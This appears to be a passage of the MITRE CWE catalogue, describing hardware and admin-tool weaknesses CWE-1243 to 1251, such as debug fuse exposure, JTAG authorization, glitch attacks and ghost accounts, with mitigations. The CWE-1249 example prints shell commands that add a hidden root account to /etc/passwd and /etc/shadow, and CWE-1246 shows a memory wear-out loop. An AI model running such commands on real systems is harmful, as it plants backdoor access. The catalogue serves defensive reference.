[REF-1072]Sergei Skorobogatov and Christopher Woods. "Breakthrough Silicon Scanning Discovers Backdoor in Military Chip". < https://www.cl.cam.ac.uk/~sps32/Silicon_scan_draft.pdf >.

[REF-1073]Chris Domas. "God Mode Unlocked: Hardware Backdoors in x86 CPUs". < https://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs.pdf >.

[REF-1074]Jonathan Brossard. "Hardware Backdooring is Practical". < https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH_US_12_Brossard_Backdoor_Hacking_Slides.pdf >.

[REF-1075]Sergei Skorabogatov. "Security, Reliability, and Backdoors". < https://www.cl.cam.ac.uk/~sps32/SG_talk_SRB.pdf >.

CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug

Weakness ID : 1243 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product exposes security-sensitive values stored in fuses during debug.

Extended Description

Several security-sensitive values are blown as fuses in a chip to be used during early-boot flows or later at runtime. Examples of these security-sensitive values include root keys, encryption keys, manufacturing-specific information, chip-manufacturer-specific information, and original-equipment-manufacturer (OEM) data. After the chip is powered on, these values are sensed from fuses and stored in temporary locations such as registers and local memories. These locations are typically access-control protected from untrusted agents capable of accessing them. Even to trusted agents, only read-access is provided. However, these locations are not blocked during debug flows, allowing an untrusted debugger to access these assets and compromise system security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
PeerOf	C	1263	Insufficient Physical Protection Mechanism	1798

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

When in debug mode, disable access to security-sensitive values sensed from fuses and stored in temporary locations.

Demonstrative Examples

Example 1:

Secret manufacturing data (such as die information) are stored in fuses. While the chip powers on, this value is sensed from fuses and is stored in a microarchitectural register. This register is only given read access to trusted software running on the core. Untrusted software running on the core cannot access it.

Example Language: Other *(bad)*

All microarchitectural registers in this chip can be accessed through the debug interface. As a result, even an untrusted debugger can access this data and get hold of secret manufacturing data.

Example Language: *(informative)*

Registers used to store security-sensitive values sensed from fuses should be blocked on debug. They should be disconnected from the debug interface.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1244: Improper Authorization on Physical Debug and Test Interfaces

Weakness ID : 1244 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's physical debug and test interface protection does not block untrusted agents, resulting in unauthorized access to and potentially control of sensitive assets.

Extended Description

If the product implements access-control protection on the debug and test interface, a debugger is typically required to enter either a valid response to a challenge provided by the authorization logic or, alternatively, enter the right password in order to exercise the debug and test interface. However, if this protection mechanism does not exclude all untrusted, debug agents, an attacker could access/control security-sensitive registers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	285	Improper Authorization	623

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
Authorization Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

For security-sensitive assets accessible over debug/test interfaces, only allow trusted agents.

Demonstrative Examples

Example 1:

JTAG interface is used to perform debugging and providing insights into the CPU core for developers. JTAG-access protection is implemented as part of the JTAG_SHIELD bit in the register hw_digctl_ctrl REGISTER. This register is not set by default and is set after the system boots from ROM, and control is transferred to the user software.

Example Language: Other *(bad)*

This means that end user has access to JTAG at system reset and during ROM code execution before control is transferred to user software. With this loophole, an attacker can modify the boot flow and subsequently disclose data-encryption keys.

Example Language: *(informative)*

The default value of this register bit should be set to 1. This prevents JTAG being enabled at system reset.

Observed Examples

Reference	Description
CVE-2019-18827	JTAG access is disabled after ROM code execution. This means that JTAG access is possible when the system is running code from ROM before transferring control over to embedded firmware. This allows an attacker to modify boot flow and successfully bypass secure-boot process. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

References

[REF-1056]F-Secure Labs. "Multiple Vulnerabilities in Barco Clickshare: JTAG access is not permanently disabled". < https://labs.f-secure.com/advisories/multiple-vulnerabilities-in-barco-clickshare/ >.

[REF-1057]Kurt Rosenfeld and Ramesh Karri. "Attacks and Defenses for JTAG". < https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=5406671 >.

CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic

Weakness ID : 1245 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Faulty finite state machines (FSMs) in the hardware logic allow an attacker to put the system in an undefined state, to cause a denial of service (DoS) or gain privileges on the victim's system.

Extended Description

The functionality and security of the system heavily depend on the implementation of FSMs. FSMs can be used to indicate the current security state of the system. Lots of secure data operations and data transfers rely on the state reported by the FSM. Faulty FSM designs that do not account for all states, either through undefined states (left as don't cares) or through incorrect implementation, might lead an attacker to drive the system into an unstable state from which the system cannot recover without a reset, thus causing a DoS. Depending on what the FSM is used for, an attacker might also gain additional privileges to launch further attacks and compromise the security guarantees.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	684	Incorrect Provision of Specified Functionality	1332

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Access Control	DoS: Crash, Exit, or Restart	
	DoS: Instability	
	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Define all possible states and handle all unused states through default statements. Ensure that system defaults to a secure state.

Effectiveness = High

Demonstrative Examples

Example 1:

The FSM shown in the "bad" code snippet below assigns the output out based on the value of state, which is determined based on the user provided input, user_input.

Example Language: Verilog *(bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
   begin
      if (!rst_n)
      state = 3'h0;
      else
      case (user_input)
         3'h0:
         3'h1:
         3'h2:
         3'h3: state = 2'h3;
         3'h4: state = 2'h2;
         3'h5: state = 2'h1;
      endcase
   end
   out <= {1'h1, state};
endmodule
```

The case statement does not handle the scenario when user provides inputs of 3'h6 and 3'h7 using a default statement. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Other *(good)*

```
case (user_input)
   3'h0:
   3'h1:
   3'h2:
   3'h3: state = 2'h3;
   3'h4: state = 2'h2;
   3'h5: state = 2'h1;
   default: state = 2'h0;
endcase
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

References

[REF-1060]Farimah Farahmandi and Prabhat Mishra. "FSM Anomaly Detection using Formal Analysis". < https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8119228&tag=1 >.

CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories

Weakness ID : 1246 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not implement or incorrectly handles the implementation of write operations in limited-write non-volatile memories.

Extended Description

Non-volatile memories such as NAND Flash, EEPROM, etc. have individually erasable segments, each of which can be put through a limited number of program/erase or write cycles. For example, the device can only endure a limited number of writes, after which the device becomes unreliable. In order to wear out the cells in a uniform manner, non-volatile memory and storage products based on the above-mentioned technologies implement a technique called wear leveling. Once a set threshold is reached, wear leveling maps writes of a logical block to a different physical block. This prevents a single physical block from prematurely failing due to a high concentration of writes. If wear leveling is improperly implemented, attackers can execute a write virus and cause the storage to become unreliable much faster than the minimally guaranteed platform lifetime.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Technology : Memory IP *(Prevalence = Undetermined)*

Technology : Storage IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Include secure wear leveling algorithms and ensure that it cannot be bypassed by known write viruses.

Effectiveness = High

Demonstrative Examples

Example 1:

An adversary can render a memory line unusable by writing to it repeatedly.

Below is example code from [REF-1058] that the user can execute repeatedly to cause line failure. W is the maximum associativity of any cache in the system; S is the size of the largest cache in the system.

Example Language: Other *(bad)*

```
Do aligned alloc of (W+1) arrays each of size S
while(1) {
for (ii = 0; i < W + 1; ii++)
    array[ii].element[0]++;
}
```

Without wear leveling, the above attack will be successful. Simple randomization of blocks will not suffice as instead of the original physical block, the randomized physical block will be worn out.

Example Language: *(informative)*

Wear leveling must be used to even out writes to the device.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2010

References

[REF-1058]Moinuddin Qureshi, Michele Franchescini, Vijayalakshmi Srinivasan, Luis Lastras, Bulent Abali and John Karidis. "Enhancing Lifetime and Security of PCM-Based Main Memory with Start-Gap Wear Leveling". < https://researcher.watson.ibm.com/researcher/files/us-moinqureshi/papers-sgap.pdf >.

[REF-1059]Micron. "Bad Block Management in NAND Flash Memory". < https://www.micron.com/-/media/client/global/documents/products/technical-note/nand-flash/tn2959_bbm_in_nand_flash.pdf >.

CWE-1247: Missing Protection Against Voltage and Clock Glitches

Weakness ID : 1247 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product does not contain the necessary additional circuitry or sensors to detect and mitigate voltage and clock glitches.

Extended Description

A product might support security features such as secure boot that are supported through hardware and firmware implementation. This involves establishing a chain of trust, starting with an immutable root of trust by checking the signature of the next stage (culminating with the OS and runtime software) against a golden value before transferring control. The intermediate stages typically set up the system in a secure state by configuring several access control settings. Similarly, any password-checking logic for exercising the debug interface, etc. can implemented in hardware, firmware, or both. This implementation needs to be robust against fault attacks such as voltage glitches and clock glitches that an attacker may leverage to compromise the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Technology : Power Management IP *(Prevalence = Undetermined)*

Technology : Clock/Counter IP *(Prevalence = Undetermined)*

Technology : Sensor IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Memory Modify Memory Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

At the circuit-level, using Tunable Replica Circuits (TRCs) or special flip-flops such as Razor flip-flops helps mitigate glitches. At SoC or platform level, level sensors can be implemented to detect glitches. Implementing redundancy in security-sensitive code (e.g., where checks are performed) helps in mitigating glitches.

Demonstrative Examples

Example 1:

Below is a representative snippet of C code that is part of the secure-boot flow. A signature of the runtime-firmware image is calculated and compared against the golden value. If the signatures match, the bootloader loads runtime firmware. If not, it is not loaded. If the underlying hardware executing this code does not contain any circuitry or sensors to detect voltage/clock glitches, an attacker might launch a fault-injection attack right when the signature check is happening (at the location marked with the comment), and it could bypass the signature-checking process.

Example Language: Other *(bad)*

```
...
if (signature_matches) { // <-Glitch Here
load_runtime_firmware();
}
else {
do_not_load_runtime_firmware();
}
...
```

After bypassing secure boot, an attacker can gain access to system assets to which the attacker should not have access.

Example Language: *(informative)*

If the underlying hardware detects a voltage/clock glitch, the information can be used to prevent the glitch from being successful.

Observed Examples

Reference	Description
CVE-2019-17391	Lack of anti-glitch protections allows an attacker to launch physical attack to bypass secure boot and read protected eFuses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17391*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1206	Power, Clock, and Reset Concerns	1194	2011

References

[REF-1061]Keith Bowman, James Tschanz, Chris Wilkerson, Shih-Lien Lu, Tanay Karnik, Vivek De and Shekhar Borkar. "Circuit Techniques for Dynamic Variation Tolerance". < https://dl.acm.org/doi/10.1145/1629911.1629915 >.

[REF-1062]Dan Ernst, Nam Sung Kim, Shidhartha Das, Sanjay Pant, Rajeev Rao, Toan Pham, Conrad Ziesler, David Blaauw, Todd Austin, Krisztian Flautner and Trevor Mudge. "Razor: A Low-Power Pipeline Based on Circuit-Level Timing Speculation". < https://web.eecs.umich.edu/~taustin/papers/MICRO36-Razor.pdf >.

[REF-1063]James Tschanz, Keith Bowman, Steve Walstra, Marty Agostinelli, Tanay Karnik and Vivek De. "Tunable Replica Circuits and Adaptive Voltage-Frequency Techniques for Dynamic Voltage, Temperature, and Aging Variation Tolerance". < https://ieeexplore.ieee.org/document/5205410 >.

[REF-1064]Bilgiday Yuce, Nahid F. Ghalaty, Chinmay Deshpande, Conor Patrick, Leyla Nazhandali and Patrick Schaumont. "FAME: Fault-attack Aware Microprocessor Extensions for Hardware Fault Detection and Software Fault Response". < https://dl.acm.org/doi/10.1145/2948618.2948626 >.

[REF-1065]Keith A. Bowman, James W. Tschanz, Shih-Lien L. Lu, Paolo A. Aseron, Muhammad M. Khellah, Arijit Raychowdhury, Bibiche M. Geuskens, Carlos Tokunaga, Chris B. Wilkerson, Tanay Karnik and Vivek De. "A 45 nm Resilient Microprocessor Core for Dynamic Variation Tolerance". < https://ieeexplore.ieee.org/document/5654663 >.

[REF-1066]Niek Timmers and Albert Spruyt. "Bypassing Secure Boot Using Fault Injection". < https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-Injection.pdf >.

CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications

Weakness ID : 1248 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The security-sensitive hardware module contains semiconductor defects.

Extended Description

A semiconductor device can fail for various reasons. While some are manufacturing and packaging defects, the rest are due to prolonged use or usage under extreme conditions. Some mechanisms that lead to semiconductor defects include encapsulation failure, die-attach failure, wire-bond failure, bulk-silicon defects, oxide-layer faults, aluminum-metal faults (including electromigration, corrosion of aluminum, etc.), and thermal/electrical stress. These defects manifest as faults on chip-internal signals or registers, have the effect of inputs, outputs, or intermediate signals being always 0 or always 1, and do not switch as expected. If such faults occur in security-sensitive hardware modules, security guarantees offered by the device will be compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Access Control	DoS: Instability	

Potential Mitigations

Phase: Testing

While semiconductor-manufacturing companies implement several mechanisms to continuously improve the semiconductor manufacturing process to ensure reduction of defects, some defects can only be fixed after manufacturing. Post-manufacturing testing of silicon die is critical. Fault models such as stuck-at-0 or stuck-at-1 must be used to develop post-manufacturing test cases and achieve good coverage. Once the silicon packaging is done, extensive post-silicon testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

Phase: Operation

Operating the hardware outside device specification, such as at extremely high temperatures, voltage, etc., accelerates semiconductor degradation and results in defects. When these defects manifest as faults in security-critical, hardware modules, it results in compromise of security guarantees. Thus, operating the device within the specification is important.

Demonstrative Examples

Example 1:

The network-on-chip implements a firewall for access control to peripherals from all IP cores capable of mastering transactions.

Example Language: Other *(bad)*

A manufacturing defect in this logic manifests itself as a logical fault, which always sets the output of the filter to "allow" access.

Post-manufacture testing must be performed to ensure that hardware logic implementing security functionalities is defect-free.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1195	Manufacturing and Life Cycle Management Concerns	1194	2007

References

[REF-1067]Brian Bailey. "Why Chips Die". < https://semiengineering.com/why-chips-die/ >.

[REF-1068]V. Lakshminarayan. "What causes semiconductor devices to fail". < https://www.edn.com/what-causes-semiconductor-devices-to-fail/ >.

CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System

Weakness ID : 1249 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product provides an application for administrators to manage parts of the underlying operating system, but the application does not accurately identify all of the relevant entities or resources that exist in the OS; that is, the application's model of the OS's state is inconsistent with the OS's actual state.

Extended Description

Many products provide web-based applications or other software for managing the underlying operating system. This is common with cloud, network access devices, home networking, and other systems. When the management tool does not accurately represent what is in the OS - such as user accounts - then the administrator might not see suspicious activities that would be noticed otherwise.

For example, numerous systems utilize a web front-end for administrative control. They also offer the ability to add, alter, and drop users with various privileges as it relates to the functionality of the system. A potential architectural weakness may exist where the user information reflected in the web interface does not mirror the users in the underlying operating system. Many web UI or REST APIs use the underlying operating system for authentication; the system's logic may also track an additional set of user capabilities within configuration files and datasets for authorization capabilities. When there is a discrepancy between the user information in the UI or REST API's interface system and the underlying operating system's user listing, this may introduce a weakness into the system. For example, if an attacker compromises the OS and adds a new user account - a "ghost" account - then the attacker could escape detection if the management tool does not list the newly-added account.

This discrepancy could be exploited in several ways:

- A rogue admin could insert a new account into a system that will persist if they are terminated or wish to take action on a system that cannot be directly associated with them.
- An attacker can leverage a separate command injection attack available through the web interface to insert a ghost account with shell privileges such as ssh.
- An attacker can leverage existing web interface APIs, manipulated in such a way that a new user is inserted into the operating system, and the user web account is either partially created or not at all.
- An attacker could create an admin account which is viewable by an administrator, use this account to create the ghost account, delete logs and delete the first created admin account.

Many of these attacker scenarios can be realized by leveraging separate vulnerabilities related to XSS, command injection, authentication bypass, or logic flaws on the various systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1776

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

Ghost in the Shell :

Common Consequences

Scope	Impact	Likelihood
Access Control	Varies by Context	
Accountability	Hide Activities	
Other	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Ensure that the admin tool refreshes its model of the underlying OS on a regular basis, and note any inconsistencies with configuration files or other data sources that are expected to have the same data.

Demonstrative Examples

Example 1:

Suppose that an attacker successfully gains root privileges on a Linux system and adds a new 'user2' account:

Example Language: Other *(attack)*

```
echo "user2:x:0:0::/root:/" >> /etc/passwd;
echo "user2:\$6\$IdvyrM6VJnG8Su5U\$1gmW3Nm.IO4vxTQDQ1C8urm72JCadOHZQwqiH/
nRtL8dPY80xS4Ovsv5bPCMWnXKKWwmsocSWXupUf17LB3oS.:17256:0:99999:7:::" >> /etc/shadow;
```

This new user2 account would not be noticed on the web interface, if the interface does not refresh its data of available users.

It could be argued that for this specific example, an attacker with root privileges would be likely to compromise the admin tool or otherwise feed it with false data. However, this example shows how the discrepancy in critical data can help attackers to escape detection.

References

[REF-1070]Tony Martin. "Ghost in the Shell Weakness". 2020 February 3. < http://www.friendsglobal.com/ghost-in-the-shell/ghost-in-the-shell-weakness/ >.

CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State

Weakness ID : 1250 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product has or supports multiple distributed components or sub-systems that are each required to keep their own local copy of shared data - such as state or cache - but the product does not ensure that all local copies remain consistent with each other.

Extended Description

In highly distributed environments, or on systems with distinct physical components that operate independently, there is often a need for each component to store and update its own local copy of key data such as state or cache, so that all components have the same "view" of the overall system and operate in a coordinated fashion. For example, users of a social media service or a massively multiplayer online game might be using their own personal computers while also interacting with different physical hosts in a globally distributed service, but all participants must be able to have the same "view" of the world. Alternately, a processor's Memory Management Unit (MMU) might have

"shadow" MMUs to distribute its workload, and all shadow MMUs are expected to have the same accessible ranges of memory.

In such environments, it becomes critical for the product to ensure that this "shared state" is consistently modified across all distributed systems. If state is not consistently maintained across all systems, then critical transactions might take place out of order, or some users might not get the same data as other users. When this inconsistency affects correctness of operations, it can introduce vulnerabilities in mechanisms that depend on consistent state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	1249	Application-Level Admin Tool with Inconsistent View of Underlying Operating System	1774
ParentOf	B	1251	Mirrored Regions with Different Values	1778

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Cloud Computing *(Prevalence = Undetermined)*

Technology : Security IP *(Prevalence = Undetermined)*

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Notes

Research Gap

Issues related to state and cache - creation, preservation, and update - are a significant gap in CWE that is expected to be addressed in future versions. It likely has relationships to concurrency and synchronization, incorrect behavior order, and other areas that already have some coverage in CWE, although the focus has typically been on independent processes on the same operating system - not on independent systems that are all a part of a larger system-of-systems.

References

[REF-1069]Tanakorn Leesatapornwongsa, Jeffrey F. Lukman, Shan Lu and Haryadi S. Gunawi. "TaxDC: A Taxonomy of Non-Deterministic Concurrency Bugs in Datacenter Distributed Systems". 2016. < https://ucare.cs.uchicago.edu/pdf/asplos16-TaxDC.pdf >.

CWE-1251: Mirrored Regions with Different Values

Weakness ID : 1251 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's architecture mirrors regions without ensuring that their contents always stay in sync.

Extended Description

Having mirrored regions with different values might result in the exposure of sensitive information and/or other consequences, including loss of access control.

Due to architectural and performance constraints, one might need to duplicate a resource. The most common example of doing this in computer architecture is the concept of cache, which keeps a "local" copy of the data element in memory, because the time to access the memory (which is located far off from the computing core) is significantly longer compared to the time it takes to access a local copy (cache). Thus, keeping a local copy of some distant entity provides significant performance improvement. Unfortunately, this improvement also comes with a downside, since the product needs to ensure that the local copy always mirrors the original copy truthfully. If they get out of sync somehow, the computational result is no longer true.

In designing hardware, memory is not the only thing that gets mirrored. There are many other entities that get mirrored, too: registers, memory regions, and, in some cases, even whole units. For example, for a multi-core processor, if every memory access from any of those tens of cores goes through a single memory-management unit (MMU) for security reasons, then the MMU becomes a performance bottleneck. In such cases, it might make sense to create duplicate, local MMUs that will serve only a subset of the cores of processors rather than all of them. These local copies are also called "shadow copies" or "mirrored copies."

If the original resource that was being duplicated into these local copies never changed, the question of the local copies getting out of sync would not arise. Unfortunately, in many cases, the values inside the original copy change. For example, a memory range might be inaccessible during boot time, but once the boot process is over and the system is now in a stable state, that memory range may now be opened up for access. So, if a register(s) in the access-control unit stores the start and end addresses of the "accessible" memory chunks, those values would change after the boot process is over. Now, when the original copy changes, the mirrored copies must also change, and change fast.

This situation of shadow-copy-possibly-out-of-sync-with-original-copy might occur as a result of multiple scenarios, including the following:

- After the values in the original copy change, due to some reason the original copy does not send the "update" request to its shadow copies.
- After the values in the original copy change, the original copy dutifully sends the "update" request to its shadow copies, but due to some reason the shadow copy does not "execute" this update request.
- After the values in the original copy change, the original copy sends the "update" request to its shadow copies, and the shadow copy executes this update request faithfully. However, during the small time period when the original copy has "new" values and the shadow copy is still holding the "old" values, an attacker can exploit the old values. Then

it becomes a race condition between the attacker and the update process of who can reach the target, shadow copy first, and, if the attacker reaches first, the attacker wins.
- The attacker might send a "spoofed" update request to the target shadow copy, pretending that this update request is coming from the original copy. This spoofed request might cause the targeted shadow copy to update its values to some attacker-friendly values, while the original copies remain unchanged by the attacker.
- Suppose a situation where the original copy has a system of reverting back to its original value if it does not hear back from all the shadow copies that such copies have successfully completed the update request. In such a case, an attack might occur as follows: (1) the original copy might send an update request; (2) the shadow copy updates it; (3) the shadow copy sends back the successful completion message; (4) through a separate issue, the attacker is able to intercept the shadow copy's completion message. In this case, the original copy thinks that the update did not succeed, hence it reverts to its original value. Now there is a situation where the original copy has the "old" value, and the shadow copy has the "new" value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1776

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Security IP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Whenever there are multiple, physically different copies of the same value that might change and the process to update them is not instantaneous and atomic, it is impossible to assert that the original and shadow copies will always be in sync - there will always be a time period when they are out of sync. To mitigate the consequential risk, the recommendations essentially are: Make this out-of-sync time period as small as possible, and Make the update process as robust as possible.

Effectiveness = Moderate

Demonstrative Examples

Example 1:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

